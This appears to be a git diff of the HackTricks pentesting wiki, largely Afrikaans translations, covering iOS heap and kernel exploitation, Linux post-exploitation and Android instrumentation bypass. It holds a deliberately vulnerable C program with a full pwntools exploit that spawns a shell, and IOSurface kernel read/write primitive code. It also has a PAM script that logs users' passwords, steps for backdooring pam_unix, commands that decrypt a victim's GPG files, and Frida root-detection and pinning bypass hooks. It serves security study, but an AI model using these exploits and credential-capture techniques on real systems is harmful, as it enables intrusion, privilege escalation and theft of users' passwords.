+## **Algemene struikelblokke**
+- **Proper signing** is required on **non-jailbroken** devices; unsigned IPAs sal nie begin nie.
+- **Quick Connect vs VPN**: Quick Connect is die eenvoudigste; gebruik **VPN** wanneer jy die toestel op jou plaaslike netwerk nodig het (bv., lokale proxies/tools).
+- **No App Store** on Corellium devices; neem jou eie (re)signed IPAs saam。
+
+
+
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md

@@ -0,0 +1,205 @@
+# iOS Hoe om verbinding te maak met Corellium
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Vuln Code
+```c
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+__attribute__((noinline))
+static void safe_cb(void) {
+puts("[*] safe_cb() called — nothing interesting here.");
+}
+
+__attribute__((noinline))
+static void win(void) {
+puts("[+] win() reached — spawning shell...");
+fflush(stdout);
+system("/bin/sh");
+exit(0);
+}
+
+typedef void (*cb_t)(void);
+
+typedef struct {
+cb_t cb;          // <--- Your target: overwrite this with win()
+char tag[16];     // Cosmetic (helps make the chunk non-tiny)
+} hook_t;
+
+static void fatal(const char *msg) {
+perror(msg);
+exit(1);
+}
+
+int main(void) {
+// Make I/O deterministic
+setvbuf(stdout, NULL, _IONBF, 0);
+
+// Print address leak so exploit doesn't guess ASLR
+printf("[*] LEAK win() @ %p\n", (void*)&win);
+
+// 1) Allocate the overflow buffer
+size_t buf_sz = 128;
+char *buf = (char*)malloc(buf_sz);
+if (!buf) fatal("malloc buf");
+memset(buf, 'A', buf_sz);
+
+// 2) Allocate the hook object (likely adjacent in same magazine/size class)
+hook_t *h = (hook_t*)malloc(sizeof(hook_t));
+if (!h) fatal("malloc hook");
+h->cb = safe_cb;
+memcpy(h->tag, "HOOK-OBJ", 8);
+
+// A tiny bit of noise to look realistic (and to consume small leftover holes)
+void *spacers[16];
+for (int i = 0; i < 16; i++) {
+spacers[i] = malloc(64);
+if (spacers[i]) memset(spacers[i], 0xCC, 64);
+}
+
+puts("[*] You control a write into the 128B buffer (no bounds check).");
+puts("[*] Enter payload length (decimal), then the raw payload bytes.");
+
+// 3) Read attacker-chosen length and then read that many bytes → overflow
+char line[64];
+if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
+unsigned long n = strtoul(line, NULL, 10);
+
+// BUG: no clamp to 128
+ssize_t got = read(STDIN_FILENO, buf, n);
+if (got < 0) fatal("read");
+printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
+
+// 4) Trigger: call the hook's callback
+puts("[*] Calling h->cb() ...");
+h->cb();
+
+puts("[*] Done.");
+return 0;
+}
+```
+Kompileer dit met:
+```bash
+clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
+```
+## Exploit
+
+> [!WARNING]
+> Hierdie exploit stel die omgewingsveranderlike `MallocNanoZone=0` om die NanoZone uit te skakel. Dit is nodig om aangrensende toewysings te kry wanneer `malloc` met klein groottes aangeroep word. Sonder dit sal verskillende mallocs in verskillende zones toegeken word en sal nie aangrensend wees nie, en daarom sal die overflow nie werk soos verwag nie.
+```python
+#!/usr/bin/env python3
+# Heap overflow exploit for macOS ARM64 CTF challenge
+#
+# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
+# a function pointer in an adjacent heap chunk.
+#
+# Key insights:
+# 1. macOS uses different heap zones for different allocation sizes
+# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
+# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
+#
+from pwn import *
+import re
+import sys
+import struct
+import platform
+
+# Detect architecture and set context accordingly
+if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
+context.clear(arch='aarch64')
+else:
+context.clear(arch='amd64')
+
+BIN = './heap_groom'
+
+def parse_leak(line):
+m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
+if not m:
+log.failure("Couldn't parse leak")
+sys.exit(1)
+return int(m.group(1), 16)
+
+def build_payload(win_addr, extra_pad=0):
+# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
+padding = b'A' * 128
+if extra_pad:
+padding += b'B' * extra_pad
+# Add the win address to overwrite the function pointer
+payload = padding + p64(win_addr)
+return payload
+
+def main():
+# On macOS, we need to disable the Nano zone for adjacent allocations
+import os
+env = os.environ.copy()
+env['MallocNanoZone'] = '0'
+
+# The correct padding with MallocNanoZone=0 is 432 bytes
+# This makes the total distance 560 bytes (128 buffer + 432 padding)
+# Try the known working value first, then alternatives in case of heap variation
+candidates = [
+432,    # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
+424,    # Try slightly less in case of alignment differences
+440,    # Try slightly more
+416,    # 16 bytes less
+448,    # 16 bytes more
+0,      # Direct adjacency (unlikely but worth trying)
+]
+
+log.info("Starting heap overflow exploit for macOS...")
+
+for extra in candidates:
+log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
+p = process(BIN, env=env)
+
+# Read leak line
+leak_line = p.recvline()
+win_addr = parse_leak(leak_line)
+log.success(f"win() @ {hex(win_addr)}")
+
+# Skip prompt lines
+p.recvuntil(b"Enter payload length")
+p.recvline()
+
+# Build and send payload
+payload = build_payload(win_addr, extra_pad=extra)
+total_len = len(payload)
+
+log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
+
+# Send length and payload
+p.sendline(str(total_len).encode())
+p.send(payload)
+
+# Check if we overwrote the function pointer successfully
+try:
+output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
+p.recvline(timeout=0.5)  # Skip the "..." part
+
+# Check if we hit win()
+response = p.recvline(timeout=0.5)
+if b"win() reached" in response:
+log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
+log.success("Shell spawned, entering interactive mode...")
+p.interactive()
+return
+elif b"safe_cb() called" in response:
+log.info(f"Failed with extra_pad={extra}, safe_cb was called")
+else:
+log.info(f"Failed with extra_pad={extra}, unexpected response")
+except:
+log.info(f"Failed with extra_pad={extra}, likely crashed")
+
+p.close()
+
+log.failure("All padding attempts failed. The heap layout might be different.")
+log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
+
+if __name__ == '__main__':
+main()
+```
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md

@@ -0,0 +1,215 @@
+# iOS Physical Use-After-Free via IOSurface
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## Physical use-after-free
+
+Dit is 'n opsomming van die pos by [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Boonop is verdere inligting oor exploits wat hierdie tegniek gebruik te vinde by [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
+
+### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
+
+Die virtuele geheue-adresruimte vir gebruikersprosesse op iOS strek van **0x0 tot 0x8000000000**. Hierdie adresse kaart egter nie direk na fisiese geheue nie. In plaas daarvan gebruik die kernel **page tables** om virtuele adresse na werklike **fisiese adresse** te vertaal.
+
+#### Levels of Page Tables in iOS
+
+Page tables is hiërargies georganiseer in drie vlakke:
+
+1. **L1 Page Table (Level 1)**:
+* Elke inskrywing hier verteenwoordig 'n groot reikafstand van virtuele geheue.
+* Dit dek **0x1000000000 bytes** (of **256 GB**) van virtuele geheue.
+2. **L2 Page Table (Level 2)**:
+* 'n Inskrywing hier verteenwoordig 'n kleiner streek van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB).
+* 'n L1-inskrywing kan na 'n L2-tabel wys as dit nie die hele streek self kan karteer nie.
+3. **L3 Page Table (Level 3)**:
+* Dit is die fynste vlak, waar elke inskrywing 'n enkele **4 KB** geheuebladsy karteer.
+* 'n L2-inskrywing kan na 'n L3-tabel wys as meer gedetailleerde beheer nodig is.
+
+#### Mapping Virtual to Physical Memory
+
+* **Direct Mapping (Block Mapping)**:
+* Sommige inskrywings in 'n page table karteer direk 'n reeks virtuele adresse na 'n aaneenlopende reeks fisiese adresse (soort van kortpad).
+* **Pointer to Child Page Table**:
+* As fynere beheer nodig is, kan 'n inskrywing in een vlak (bv. L1) na 'n **child page table** op die volgende vlak (bv. L2) wys.
+
+#### Example: Mapping a Virtual Address
+
+Kom ons sê jy probeer toegang kry tot die virtuele adres **0x1000000000**:
+
+1. **L1 Table**:
+* Die kernel kyk na die L1 page table-inskrywing wat ooreenstem met hierdie virtuele adres. As dit 'n **pointer to an L2 page table** bevat, gaan dit na daardie L2-tabel.
+2. **L2 Table**:
+* Die kernel kyk die L2 page table vir 'n meer gedetailleerde kartering. As hierdie inskrywing na 'n **L3 page table** wys, gaan dit daarheen.
+3. **L3 Table**:
+* Die kernel soek die finale L3-inskrywing, wat na die **fisiese adres** van die werklike geheuebladsy wys.
+
+#### Example of Address Mapping
+
+As jy die fisiese adres **0x800004000** in die eerste indeks van die L2-tabel skryf, dan:
+
+* Virtuele adresse van **0x1000000000** tot **0x1002000000** karteer na fisiese adresse van **0x800004000** tot **0x802004000**.
+* Dit is 'n **block mapping** op die L2-vlak.
+
+Alternatiewelik, as die L2-inskrywing na 'n L3-tabel wys:
+
+* Elke 4 KB-bladsy in die virtuele adresreeks **0x1000000000 -> 0x1002000000** sou deur individuele inskrywings in die L3-tabel gekarteer word.
+
+### Physical use-after-free
+
+'n **Physical use-after-free** (UAF) gebeur wanneer:
+
+1. 'n Proses **alloceer** sekere geheue as **readable and writable**.
+2. Die **page tables** word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te karteer wat die proses kan toegang.
+3. Die proses **dealloceer** (vry) die geheue.
+4. Weens 'n **bug**, vergeet die kernel egter om die kartering uit die page tables te verwyder, al merk dit die ooreenstemmende fisiese geheue as vry.
+5. Die kernel kan dan hierdie "vrygemaakte" fisiese geheue **heralloceer** vir ander doeleindes, soos **kernel data**.
+6. Aangesien die kartering nie verwyder is nie, kan die proses steeds **lees en skryf** na daardie fisiese geheue.
+
+Dit beteken die proses kan toegang hê tot **bladsye van kernel memory**, wat sensitiewe data of strukture kan bevat, en moontlik 'n aanvaller toelaat om **kernel memory te manipuleer**.
+
+### IOSurface Heap Spray
+
+Aangesien die aanvaller nie kan beheer watter spesifieke kernel-bladsye aan vrygemaakte geheue toegeken sal word nie, gebruik hulle 'n tegniek genaamd **heap spray**:
+
+1. Die aanvaller **skep 'n groot aantal IOSurface objects** in kernel memory.
+2. Elke IOSurface-object bevat 'n **magic value** in een van sy velde, wat dit maklik maak om te identifiseer.
+3. Hulle **scan die vrygemaakte bladsye** om te sien of enige van hierdie IOSurface-objects op 'n vrygemaakte bladsy geland het.
+4. Wanneer hulle 'n IOSurface-object op 'n vrygemaakte bladsy vind, kan hulle dit gebruik om **kernel memory te lees en skryf**.
+
+Meer inligting hieroor by [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
+
+> [!TIP]
+> Wees bewus dat iOS 16+ (A12+) toestelle hardeware-mitigasies bring (soos PPL of SPTM) wat physical UAF-tegnieke baie minder lewensvatbaar maak.
+> PPL afdwing streng MMU-beskermings op bladsye wat verband hou met code signing, entitlements, en sensitiewe kernel data, so selfs as 'n bladsy hergebruik word, word skryfoperasies vanaf userland of gekompromitteerde kernel-kode na PPL-beskermde bladsye geblokkeer.
+> Secure Page Table Monitor (SPTM) brei PPL uit deur page table-updates self te verhinder. Dit verseker dat selfs bevoorregte kernel-kode nie stilweg vrygemaakte bladsye kan herkarreer of mappings kan verander sonder deur veilige kontroles te gaan nie.
+> KTRR (Kernel Text Read-Only Region) sluit die kernel se kodesegment na opstart as read-only. Dit voorkom enige runtime-wysigings aan kernel-kode en sluit 'n groot aanvalsvlak wat physical UAF-exploits dikwels benut, af.
+> Verder is IOSurface-allocations minder voorspelbaar en moeiliker om in user-accessible areas te karteer, wat die “magic value scanning”-truuk baie minder betroubaar maak. En IOSurface is nou beskerm deur entitlements en sandbox-restriksies.
+
+### Step-by-Step Heap Spray Process
+
+1. **Spray IOSurface Objects**: Die aanvaller skep baie IOSurface-objects met 'n spesiale identifiseerder ("magic value").
+2. **Scan Freed Pages**: Hulle kontroleer of enige van die objects op 'n vrygemaakte bladsy toegeken is.
+3. **Read/Write Kernel Memory**: Deur velde in die IOSurface-object te manipuleer, kry hulle die vermoë om **arbitrary reads and writes** in kernel memory uit te voer. Dit laat hulle toe om:
+* Een veld te gebruik om **enige 32-bit waarde** in kernel memory te lees.
+* 'n Ander veld te gebruik om **64-bit waardes te skryf**, waarmee 'n stabiele **kernel read/write primitive** bereik word.
+
+Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
+```c
+void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
+if (*nClients >= 0x4000) return;
+for (int i = 0; i < nSurfaces; i++) {
+fast_create_args_t args;
+lock_result_t result;
+
+size_t size = IOSurfaceLockResultSize;
+args.address = 0;
+args.alloc_size = *nClients + 1;
+args.pixel_format = IOSURFACE_MAGIC;
+
+IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
+io_connect_t id = result.surface_id;
+
+(*clients)[*nClients] = id;
+*nClients = (*nClients) += 1;
+}
+}
+```
+Soek na **`IOSurface`**-objekte in 'n vrygemaakte fisiese bladsy:
+```c
+int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
+io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
+int nSurfaceIDs = 0;
+
+for (int i = 0; i < 0x400; i++) {
+spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
+
+for (int j = 0; j < nPages; j++) {
+uint64_t start = puafPages[j];
+uint64_t stop = start + (pages(1) / 16);
+
+for (uint64_t k = start; k < stop; k += 8) {
+if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
+info.object = k;
+info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
+if (self_task) *self_task = iosurface_get_receiver(k);
+goto sprayDone;
+}
+}
+}
+}
+
+sprayDone:
+for (int i = 0; i < nSurfaceIDs; i++) {
+if (surfaceIDs[i] == info.surface) continue;
+iosurface_release(client, surfaceIDs[i]);
+}
+free(surfaceIDs);
+
+return 0;
+}
+```
+### Bereik Kernel Read/Write met IOSurface
+
+Nadat ons beheer oor 'n IOSurface-objek in kernel memory (gemap na 'n vrygemaakte fisiese bladsy wat vanaf userspace toeganklik is) bereik het, kan ons dit gebruik vir arbitrêre kernel read and write operations.
+
+**Key Fields in IOSurface**
+
+Die IOSurface-objek het twee belangrike velde:
+
+1. **Use Count Pointer**: Laat 'n **32-bit read** toe.
+2. **Indexed Timestamp Pointer**: Laat 'n **64-bit write** toe.
+
+Deur hierdie pointers oor te skryf, herlei ons hulle na arbitrêre adresse in kernel memory, wat read/write-vaardighede moontlik maak.
+
+#### 32-Bit Kernel Read
+
+Om 'n read uit te voer:
+
+1. Oorskryf die **use count pointer** sodat dit na die teikenadres minus 'n 0x14-byte offset wys.
+2. Gebruik die `get_use_count` method om die waarde by daardie adres te read.
+```c
+uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
+uint64_t args[1] = {surfaceID};
+uint32_t size = 1;
+uint64_t out = 0;
+IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
+return (uint32_t)out;
+}
+
+uint32_t iosurface_kread32(uint64_t addr) {
+uint64_t orig = iosurface_get_use_count_pointer(info.object);
+iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
+uint32_t value = get_use_count(info.client, info.surface);
+iosurface_set_use_count_pointer(info.object, orig);
+return value;
+}
+```
+#### 64-Bit Kernel Write
+
+Om 'n skryf uit te voer:
+
+1. Oorskryf die **indexed timestamp pointer** na die teikenadres.
+2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit-waarde te skryf.
+```c
+void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
+uint64_t args[3] = {surfaceID, 0, value};
+IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
+}
+
+void iosurface_kwrite64(uint64_t addr, uint64_t value) {
+uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
+iosurface_set_indexed_timestamp_pointer(info.object, addr);
+set_indexed_timestamp(info.client, info.surface, value);
+iosurface_set_indexed_timestamp_pointer(info.object, orig);
+}
+```
+#### Exploit Flow Opsomming
+
+1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik.
+2. **Spray IOSurface Objects**: Allokeer baie IOSurface objects met 'n unieke "magic value" in kernel memory.
+3. **Identify Accessible IOSurface**: Lokaliseer 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer.
+4. **Abuse Use-After-Free**: Wysig pointers in die IOSurface object om arbitraire **kernel read/write** via IOSurface-metodes moontlik te maak.
+
+Met hierdie primitiewe verskaf die exploit beheerde **32-bit reads** en **64-bit writes** na kernel memory. Verdere jailbreak-stappe kan meer stabiele read/write primitiewe behels, wat mag vereis dat addisionele beskermings omseil word (bv. PPL op nuwer arm64e devices).
+
+{{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/linux-post-exploitation/README.md

@@ -4,8 +4,7 @@
 
 ## Sniffing Logon Passwords with PAM
 
-Kom ons konfigureer 'n PAM-module om elke wagwoord wat 'n gebruiker gebruik om aan te meld, te log. As jy nie weet wat PAM is nie, kyk:
+Laat ons 'n PAM-module konfigureer om elke wagwoord wat 'n gebruiker gebruik om aan te meld te log. As jy nie weet wat PAM is nie, kyk:
-
 
 {{#ref}}
 pam-pluggable-authentication-modules.md
@@ -13,14 +12,14 @@ pam-pluggable-authentication-modules.md
 
 **For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary:
 
-**Oorsig van die tegniek:**
+**Technique Overview:**
-Pluggable Authentication Modules (PAM) bied buigbaarheid in die bestuur van verifikasie op Unix-gebaseerde stelsels. Hulle kan sekuriteit verbeter deur aanmeldprosesse aan te pas, maar dra ook risiko's as hulle misbruik word. Hierdie opsomming beskryf 'n tegniek om aanmeldbewyse met PAM vas te vang, sowel as versagtingsmaatreëls.
+Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.
 
-**Vasvang van aanmeldbewyse:**
+**Capturing Credentials:**
 
-- 'n bash-script met die naam `toomanysecrets.sh` word geskep om aanmeldpogings te log, deur die datum, gebruikersnaam (`$PAM_USER`), wagwoord (via stdin), en die remote host IP (`$PAM_RHOST`) na `/var/log/toomanysecrets.log` vas te lê.
+- 'n bash script met die naam `toomanysecrets.sh` word geskryf om aanmeldpogings te log, en vang die datum, gebruikersnaam (`$PAM_USER`), wagwoord (via stdin), en afgeleë gasheer-IP (`$PAM_RHOST`) na `/var/log/toomanysecrets.log`.
-- Die script word uitvoerbaar gemaak en in die PAM-konfigurasie (`common-auth`) geïntegreer met behulp van die `pam_exec.so` module, met opsies om stil te hardloop en die verifikasie-token aan die script bloot te stel.
+- Die script word uitvoerbaar gemaak en geïntegreer in die PAM-konfigurasie (`common-auth`) deur die `pam_exec.so` module te gebruik met opsies om stil te loop en die authentication token aan die script bloot te stel.
-- Die benadering demonstreer hoe 'n gekompromitteerde Linux-host misbruik kan word om aanmeldbewyse diskreet te log.
+- Die benadering demonstreer hoe 'n gekompromitteerde Linux-host uitgebuit kan word om kredensiale diskreet te log.
 ```bash
 #!/bin/sh
 echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@@ -32,30 +31,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
 ```
 ### Backdooring PAM
 
-**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Dit is net 'n opsomming:
+**Vir verdere besonderhede kyk na die [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Dit is net 'n samevatting:
 
-Die Pluggable Authentication Module (PAM) is 'n stelsel wat onder Linux gebruik word vir gebruiker-autentisering. Dit werk op drie hoofkonsepte: **username**, **password**, en **service**. Konfigurasielêers vir elke service is geleë in die `/etc/pam.d/` gids, waar gedeelde biblioteke die verifikasie hanteer.
+Die Pluggable Authentication Module (PAM) is 'n stelsel wat onder Linux gebruik word vir gebruikersverifikasie. Dit werk op drie hoofkonsepte: **gebruikersnaam**, **wagwoord**, en **diens**. Konfigurasielêers vir elke diens is geleë in die `/etc/pam.d/` gids, waar gedeelde biblioteke verifikasie hanteer.
 
-**Doel**: Wysig PAM om autentisering toe te laat met 'n spesifieke password, en die werklike gebruiker se password omseil. Hierdie metode fokus veral op die `pam_unix.so` gedeelde biblioteek wat deur die `common-auth` lêer gebruik word — die `common-auth` word by byna alle services ingesluit vir password-verifikasie.
+**Doelwit**: Pas PAM aan sodat verifikasie moontlik is met 'n spesifieke wagwoord, en sodoende die werklike gebruikerswagwoord omseil. Dit fokus veral op die gedeelde biblioteek `pam_unix.so` wat deur die `common-auth` lêer gebruik word, en wat by byna alle dienste ingesluit is vir wagwoordverifikasie.
 
-### Steps for Modifying `pam_unix.so`:
+### Stappe om `pam_unix.so` te wysig:
 
-1. **Locate the Authentication Directive** in the `common-auth` file:
+1. **Vind die verifikasie-direktief** in die `common-auth` lêer:
-- Die reël wat verantwoordelik is vir die kontrole van 'n gebruiker se password roep `pam_unix.so` aan.
+- Die reël wat verantwoordelik is om 'n gebruiker se wagwoord te kontroleer, roep `pam_unix.so` aan.
-2. **Modify Source Code**:
+2. **Wysig bronkode**:
-- Voeg 'n voorwaardelike stelling by in die `pam_unix_auth.c` source file wat toegang verleen as 'n vooraf-gedefinieerde password gebruik word; anders gaan dit voort met die gewone autenticatieproses.
+- Voeg 'n voorwaardelike stelling by in die `pam_unix_auth.c` bronlêer wat toegang verleen as 'n voorafbepaalde wagwoord gebruik word; anders gaan dit voort met die gewone verifikasieproses.
-3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
+3. **Herkompileer en vervang** die gemodifiseerde `pam_unix.so` biblioteek in die toepaslike gids.
-4. **Testing**:
+4. **Toetsing**:
-- Toegang word met die vooraf-gedefinieerde password verleen oor verskeie services (login, ssh, sudo, su, screensaver), terwyl normale authenticatieprosesse ongemoeid gebly het.
+- Toegang word verleen oor verskeie dienste (login, ssh, sudo, su, screensaver) met die voorafbepaalde wagwoord, terwyl normale verifikasieprosesse onaangeraak bly.
 
 > [!TIP]
-> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
+> Jy kan hierdie proses outomatiseer met [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
 
-## Dekripteer GPG loot via homedir relocation
+## Ontsleuteling van GPG loot deur homedir-verplasing
 
-As jy 'n encrypted `.gpg` file en 'n gebruiker se `~/.gnupg` gids (pubring, private-keys, trustdb) vind, maar nie kan dekripteer weens GnuPG homedir permisies/locks nie, kopieer die keyring na 'n skryfbare ligging en gebruik dit as jou GPG home.
+Indien jy 'n geïnkripteerde `.gpg` lêer en 'n gebruiker se `~/.gnupg` gids (pubring, private-keys, trustdb) vind, maar jy kan nie ontsleutel nie weens GnuPG homedir-permissies/slotte, kopieer die keyring na 'n skryfbare ligging en gebruik dit as jou GPG home.
 
-Tipiese foutboodskappe wat jy kry sonder hierdie stap: "unsafe ownership on homedir", "failed to create temporary file", of "decryption failed: No secret key" (want GPG kan nie die oorspronklike homedir lees/skryf nie).
+Tipiese foutmeldings wat jy sonder dit sal sien: "unsafe ownership on homedir", "failed to create temporary file", of "decryption failed: No secret key" (omdat GPG nie die oorspronklike homedir kan lees/skryf nie).
 
 Werkvloei:
 ```bash
@@ -70,7 +69,8 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
 # or
 gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
 ```
-As die geheime sleutelmateriaal in `private-keys-v1.d` teenwoordig is, sal GPG ontsluit en ontsleutel sonder om vir `passphrase` te vra (of dit sal vra as die sleutel beskerm is).
+As die geheime sleutelmateriaal in `private-keys-v1.d` teenwoordig is, sal GPG ontsluit en decrypt sonder om vir 'n passphrase te vra (of dit sal vra as die sleutel beskerm is).
+
 
 ## Verwysings
 

src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Hierdie bladsy bied 'n praktiese werkvloei om dynamic analysis teen Android‑apps te hervind wat instrumentation opspoor/wortel‑blokkeer of TLS pinning afdwing. Dit fokus op vinnige triage, algemene detecties, en kopieer‑plak hooks/taktieke om dit te omseil sonder herverpakking waar moontlik.
+This page provides a practical workflow to regain dynamic analysis against Android apps that detect/root‑block instrumentation or enforce TLS pinning. It focuses on fast triage, common detections, and copy‑pasteable hooks/tactics to bypass them without repacking when possible.
 
 ## Detection Surface (what apps check)
 
@@ -14,18 +14,18 @@ Hierdie bladsy bied 'n praktiese werkvloei om dynamic analysis teen Android‑ap
 
 ## Step 1 — Quick win: hide root with Magisk DenyList
 
-- Skakel Zygisk in Magisk aan
+- Enable Zygisk in Magisk
-- Skakel DenyList aan, voeg die teiken‑pakket by
+- Enable DenyList, add the target package
-- Herbegin en toets weer
+- Reboot and retest
 
-Baie apps kyk net na voor die hand liggende aanduiders (su/Magisk paths/getprop). DenyList neutraliseer dikwels naïewe kontroles.
+Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks.
 
 References:
 - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
 
-## Step 2 — 30‑sekonde Frida Codeshare tests
+## Step 2 — 30‑second Frida Codeshare tests
 
-Probeer algemene drop‑in skripte voordat jy dieper delf:
+Try common drop‑in scripts before deep diving:
 
 - anti-root-bypass.js
 - anti-frida-detection.js
@@ -35,11 +35,11 @@ Example:
 ```bash
 frida -U -f com.example.app -l anti-frida-detection.js
 ```
-Hierdie gebruik gewoonlik stubs vir Java root/debug checks, process/service scans, en native ptrace(). Nuttig op lig beskermde apps; geharde teikens mag aangepaste hooks benodig.
+Hierdie stubs rig gewoonlik op Java root/debug checks, process/service scans en native ptrace(). Nuttig op lig beskermde apps; geharde teikens mag pasgemaakte hooks benodig.
 
 - Codeshare: https://codeshare.frida.re/
 
-## Outomatiseer met Medusa (Frida framework)
+## Automate with Medusa (Frida framework)
 
 Medusa bied 90+ kant-en-klare modules vir SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, en meer.
 ```bash
@@ -54,22 +54,22 @@ use http_communications/multiple_unpinner
 use root_detection/universal_root_detection_bypass
 run com.target.app
 ```
-Wenk: Medusa is uitstekend vir vinnige oorwinnings voordat jy custom hooks skryf. Jy kan ook cherry-pick modules en dit kombineer met jou eie scripts.
+Wenk: Medusa is uitstekend vir vinnige oorwinnings voordat jy aangepaste hooks skryf. Jy kan ook modules selekteer en dit met jou eie scripts kombineer.
 
-## Stap 3 — Omseil init-tyd detektore deur laat aan te heg
+## Stap 3 — Om init-tyd detektore te omseil deur laat aan te koppel
 
-Baie deteksies hardloop slegs tydens process spawn/onCreate(). Spawn‑time injection (-f) of gadgets word gevang; deur laat aan te heg nadat die UI gelaai is, kan dit verbyglip.
+Baie opsporings loop slegs tydens process spawn/onCreate(). Spawn‑time injection (-f) of gadgets word gevang; aanhegting nadat die UI gelaai is kan verbyglip.
 ```bash
 # Launch the app normally (launcher/adb), wait for UI, then attach
 frida -U -n com.example.app
 # Or with Objection to attach to running process
 aobjection --gadget com.example.app explore  # if using gadget
 ```
-As dit werk, hou die sessie stabiel en gaan voort om mapping- en stubkontroles uit te voer.
+As dit werk, hou die sessie stabiel en gaan voort met kaartlegging en stub-kontroles.
 
-## Stap 4 — Kaart die deteksielogika via Jadx en string-soektog
+## Stap 4 — Kaart die deteksielogika via Jadx en string hunting
 
-Statiese triage-sleutelwoorde in Jadx:
+Statiese triage sleutelwoorde in Jadx:
 - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
 
 Tipiese Java-patrone:
@@ -82,12 +82,12 @@ Algemene APIs om te hersien/hook:
 - android.os.Debug.isDebuggerConnected
 - android.app.ActivityManager.getRunningAppProcesses / getRunningServices
 - java.lang.System.loadLibrary / System.load (native bridge)
-- java.lang.Runtime.exec / ProcessBuilder (probing commands)
+- java.lang.Runtime.exec / ProcessBuilder (probeer-kommando's)
-- android.os.SystemProperties.get (root/emulator heuristics)
+- android.os.SystemProperties.get (root/emulator-heuristieke)
 
-## Stap 5 — Runtime-stubbing met Frida (Java)
+## Stap 5 — Runtime stubbing met Frida (Java)
 
-Oorskryf aangepaste guards om veilige waardes terug te gee sonder repacking:
+Oorskryf pasgemaakte guards om veilige waardes terug te gee sonder om te herpak:
 ```js
 Java.perform(() => {
 const Checks = Java.use('com.example.security.Checks');
@@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
 AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
 });
 ```
-Triaging early crashes? Dump classes net voordat dit sterf om waarskynlike detection namespaces op te spoor:
+Triaging vroeë crashes? Dump classes net voordat dit doodgaan om waarskynlike detection namespaces op te spoor:
 ```js
 Java.perform(() => {
 Java.enumerateLoadedClasses({
@@ -131,7 +131,7 @@ return false;
 ```
 ## Bypass emulator/VM detection (Java stubs)
 
